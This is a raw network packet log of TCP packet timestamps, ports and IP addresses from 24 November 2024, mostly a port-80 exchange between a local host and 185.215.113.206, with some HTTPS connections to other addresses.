Nov 24, 2024 23:24:40.909367085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.909411907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.909452915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.909491062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.910176992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.910224915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.910382032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.910574913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.910975933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.911022902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.911087036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.911130905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.911798954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.911860943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.911916018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.911962032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.912596941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.912651062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.912689924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.912724972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.913392067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.913459063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.974169016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.974256039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:40.974296093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.974334955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:40.981260061 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:40.982151031 CET	49850	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:40.982166052 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:40.982518911 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:40.982856989 CET	49850	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:40.982922077 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:40.983017921 CET	49850	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:40.987972021 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:40.988194942 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:40.988218069 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:40.988698959 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:40.989016056 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:40.989103079 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:40.989132881 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:41.027339935 CET	443	49850	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.029747963 CET	49851	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:41.029762030 CET	443	49851	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:41.038561106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.038691044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.038747072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.038786888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.038990021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.039026022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.039048910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.039078951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.039511919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.039586067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.039602041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.039655924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.040318966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.040379047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.040441990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.040513039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.041150093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.041271925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.041327000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.041918993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.041987896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.042052984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.042110920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.042726994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.042809010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.042905092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.042958975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.043533087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.043590069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.043661118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.043725967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.044352055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.044400930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.044462919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.044555902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.045186996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.045265913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.045315027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.045367002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.045993090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.046050072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.046088934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.046152115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.046781063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.046888113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.046899080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.046940088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.047595024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.047647953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.047712088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.047758102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.048414946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.048492908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.048569918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.048634052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.049221039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.049278975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.049345970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.049535990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.050079107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.050136089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.050435066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.050523996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.050853968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.050910950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.050987959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.051045895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.051644087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.051698923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.051763058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.051821947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.052536964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.052573919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.052592993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.052629948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.053266048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.053322077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.053394079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.053549051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.054090977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.054162979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.054220915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.054316044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.054888964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.054950953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.055000067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.055128098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.055669069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.055725098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.057375908 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.057451963 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.057516098 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.057770014 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.057784081 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.057801962 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.057807922 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.062186956 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.062247992 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.062429905 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.062599897 CET	49863	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.062633038 CET	443	49863	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.081213951 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:41.081475973 CET	49853	443	192.168.2.5	20.110.205.119
Nov 24, 2024 23:24:41.081490993 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:41.081995010 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:41.082324982 CET	49853	443	192.168.2.5	20.110.205.119
Nov 24, 2024 23:24:41.082410097 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:41.082499027 CET	49853	443	192.168.2.5	20.110.205.119
Nov 24, 2024 23:24:41.123337984 CET	443	49853	20.110.205.119	192.168.2.5
Nov 24, 2024 23:24:41.171700001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.171772003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.171842098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.172039986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.172214985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.172280073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.172288895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.172357082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.172383070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.172444105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.173043013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.173096895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.173098087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.173141003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.174016953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.174072027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.174088955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.174144983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.174595118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.174650908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.174716949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.174905062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.175416946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.175467014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.175532103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.175576925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.176233053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.176331997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.176366091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.176414013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.177073002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.177125931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.177140951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.177186012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.177834034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.177891970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.177957058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.178009987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.178656101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.178719044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.178761959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.178843021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.179466963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.179522038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.179588079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.179640055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.180270910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.180330992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.180396080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.180453062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.181096077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.181152105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.181200981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.181248903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.181924105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.181977034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.182033062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.182723999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.182801008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.182837963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.182887077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.183554888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.183620930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.183661938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.183710098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.184482098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.184542894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.184629917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.184719086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.185157061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.185215950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.185298920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.185348034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.185951948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.186037064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.186103106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.186156034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.186745882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.186820030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.186867952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.186975956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.187608004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.187670946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.187680006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.187768936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.188376904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.188441992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.188504934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.188651085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.188710928 CET	443	49852	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.189240932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.189274073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.189295053 CET	49852	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.189306974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.189320087 CET	443	49852	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.189342976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.189819098 CET	49852	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:41.189824104 CET	443	49852	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:41.190011024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.190068007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.190165043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.190368891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.190865993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.190918922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.191024065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.191077948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.191639900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.191768885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.191801071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.191852093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.192600012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.192657948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.192789078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.192847967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.193276882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.193312883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.193365097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.194099903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.194160938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.194295883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.194350004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.194879055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.194937944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.195008993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.195054054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.195655107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.195729017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.195738077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.195785999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.196465969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.196523905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.196588993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.196717024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.197298050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.197354078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.197443962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.197493076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.198122978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.198179007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.198235035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.198297977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.198875904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.199027061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.243432045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.243509054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.243539095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.243592024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.243850946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.243906021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.243906021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.243953943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.244651079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.244708061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.244774103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.244827032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.245498896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.245556116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.245573997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.245618105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.246257067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.246309042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.246357918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.246407032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.247070074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.247138023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.247217894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.247267008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.247893095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.247965097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.248085022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.248262882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.248702049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.248826981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.248887062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.249511003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.249567032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.249627113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.249666929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.250304937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.250400066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.250401020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.250448942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.311167002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.311240911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.311261892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.311290979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:41.311585903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:41.311652899 CET	49760	80	192.168.2.5	185.215.113.206
